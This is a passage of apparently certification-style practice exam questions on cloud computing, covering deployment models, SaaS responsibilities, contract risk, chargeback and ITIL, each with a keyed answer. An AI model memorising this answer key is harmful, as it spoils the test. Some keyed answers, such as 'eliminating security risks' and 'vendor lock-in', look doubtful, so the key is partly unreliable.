consume. Which of the following BEST describes this type of cloud environment?
A. Private cloud
B. Community cloud
C. Hybrid cloud
D. Public cloud
Correct Answer: B

QUESTION 17
An organization is in the process of selecting a SaaS provider to replace its current internal customer
relationship management system. The business expects better functionality than what is provided with the
internal system. Which of the following is the BEST reason for moving to a SaaS cloud service?
A. Understand who the most experienced IaaS cloud providers are so that a recommendation can be
made to the business based on what other industry vendors are doing.
B. Understand the current SLA’s of the cloud providers to ensure that they can exceed the current
expected business SLA’s.
C. Understand current functional and non-functional requirements of the system in order to ensure the
new system can meet and provide value add to current business needs.
D. Understand the cost model of the hosted infrastructure and whether the current system can be hosted
on cloud provided infrastructure.
Correct Answer: C

QUESTION 18
In which of the following ways do IT outsourcing and cloud computing differ?
A. Cloud computing services are typically much more scalable.
B. Cloud computing is much cheaper.
C. Hardware and software assets are typically customizable.
D. IT outsourcing promotes innovation.
Correct Answer: A

QUESTION 19
Since the implementation of a cloud infrastructure, a senior level network administrator’s job description
has changed from being responsible for maintaining the hardware of the network infrastructure to more of
a management position, ensuring the cloud vendor is providing the services specified in the contract with
the company. Which of the following has been impacted the MOST by the change in job responsibility?
A. Service Transition
B. Service Design
C. Service Operation
D. Service Strategy
Correct Answer: B

QUESTION 20
Which of the following risks occurs when a cloud provider stops serving the company?
A. Continuity risk
B. Financial risk
C. Legal risk
D. Confidentiality risk
Correct Answer: A

QUESTION 21
When using SaaS, the cloud computing vendor is responsible to maintain which of the following?
A. Client infrastructure
B. Client firewall
C. Updates and licenses
D. Workstation OS version
Correct Answer: C

QUESTION 22
An organization is planning to host a number of its critical applications in the cloud. Which of the following
is the BEST way to gain a broad assurance of the cloud provider’s security posture?
A. A review that includes interviewing key security stakeholders and identifying the key controls that they
operate
B. A review that includes security policies, evidence of the controls, physical site assessment and
vulnerability scanning
C. A review that includes the right to audit on a yearly basis and review of the security clauses on the
contract
D. A review that includes security applications, external audits, intrusion detection and firewall policy
reviews
Correct Answer: D

QUESTION 23
Cloud computing relies heavily on which of the following virtualization characteristics? (Select two.)
A. User federation
B. Hardware independence
C. Simplistic setup
D. Scalable resources
E. Information sharing
Correct Answer: BD

QUESTION 24
In order to maintain strategic flexibility and the ability to bring a cloud system back internally, which of the
following is the MOST important requirement in the contract?
A. Yearly independent audit is performed to measure performance
B. Cloud provider has ability to terminate contract
C. One week timeframe for termination of service
D. Cloud subscriber maintains ownership of their data
Correct Answer: D

QUESTION 25
Which of the following actions should a company take if a cloud computing provider ceases to uphold their
contract?
A. Consult the company’s exit plan.
B. Move the company data to the backup provider that was selected earlier.
C. Re-host all critical applications on the company’s internal servers.
D. Evaluate the company’s strategic options for an alternative provider
Correct Answer: A

QUESTION 26
Which of the following is the BEST example of a cloud vendor’s monthly hosting fee changing based on
cost allocations?
A. The company’s fee varies based on the projected quarterly revenue of the client’s company.
B. The company’s fee varies based on the number of their IT staff required to support the infrastructure.
C. The company’s fee varies based on the number of servers needed to house data in the datacenter.D. The company’s fee varies based on the energy consumption of each server in the datacenter.
Correct Answer: C

QUESTION 27
Which of the following cloud computing risks is compliance related?
A. Access rights that are handled by a cloud provider
B. Capacity management that is handled by a cloud provider
C. Cross-charging policies that are handled by both clients
D. Provider reputation
Correct Answer: A

QUESTION 28
A company is implementing a system replacement which has application components that are internally
hosted and multiple application components that are hosted as software as a service by different cloud
providers. Which of the following represents the challenge of this architecture?
A. Complexity
B. Time to market
C. Cost saving
D. Elasticity
Correct Answer: A

QUESTION 29
Which of the following is an important factor for maintaining strategic flexibility?
A. Return on investment
B. Integrity
C. Elasticity
D. Vendor lock-in
Correct Answer: D

QUESTION 30
Which of the following should be measured with a direct cost chargeback method?
A. Power and cooling consumed
B. CPU cycles used
C. Technical staff
D. Square footage cost of the facility
Correct Answer: C

QUESTION 31
Which of the following is the MOST complex security provisioning problem in a cloud environment?
A. Handling credit cards for purchasing cloud services
B. Keeping track of cloud provider performance
C. Managing users and their rights across multiple providers
D. Software assets that are introduced and can expire
Correct Answer: C

QUESTION 32
A business has recently implemented a hybrid cloud federated solution, which will allow if to rapidly anddynamically allocate resources during high demand, and quickly implement its Disaster Recovery Plan
(DRP) and Continuity of Operations (COOP). Given this implementation, the IT director is MOST likely
concerned about:
A. maintaining strategic flexibility.
B. reducing OPEX allocations.
C. hiring additional IT staff.
D. eliminating security risks
Correct Answer: D

QUESTION 33
A cloud subscriber may come under certain security constraints when hosting sensitive data in the cloud
due to government regulations. Which of the following is the BEST mitigating control that could be
implemented by the cloud provider?
A. Offer multi-tenancy software as a service with segregated physical infrastructure.
B. Offer a single-tenancy software service with segregated virtualized infrastructure.
C. Offer multi-tenancy software as a service with logically segregated infrastructure.
D. Offer a single-tenancy software service with monitored intrusion detection systems.
Correct Answer: B

QUESTION 34
Which of the following is a benefit of implementing cloud computing via the ITIL guideline?
A. Increased costs
B. Larger knowledge base
C. Increased free hard drive space
D. Improved service level
Correct Answer: D

QUESTION 35
Which of the following is included in a compliance audit?
A. Analyzing chargeback agreements
B. Analyzing cloud provider Service Level Agreements (SLAs)
C. Analyzing identity management and access controls
D. Analyzing the provider release calendar
Correct Answer: C

QUESTION 36
Which of the following BEST describes the properly of cloud computing that allows changes in transaction
volume without major changes to the system?
A. Scalability
B. Reliability
C. Integrity
D. Availability
Correct Answer: A

QUESTION 37
A private cloud generally has which of the following characteristics?
A. Services are restricted to members of the same organizationB. Infrastructure is managed by an independent service provider
C. Services are managed by a third-party provider
D. Services are accessed by members outside of the organization
Correct Answer: A

QUESTION 38
Amazon Elastic Cloud Computing (EC2) is a facility for quickly providing virtual servers.
This is an example of:
A. SaaS
B. IaaS
C. PaaS
D. QoS.
Correct Answer: B

QUESTION 39
Which of the following is an example of SaaS?
A. Offshore help desk support
B. Hosted database software and development tools
C. Hosted email software
D. Hosted network hardware
Correct Answer: C

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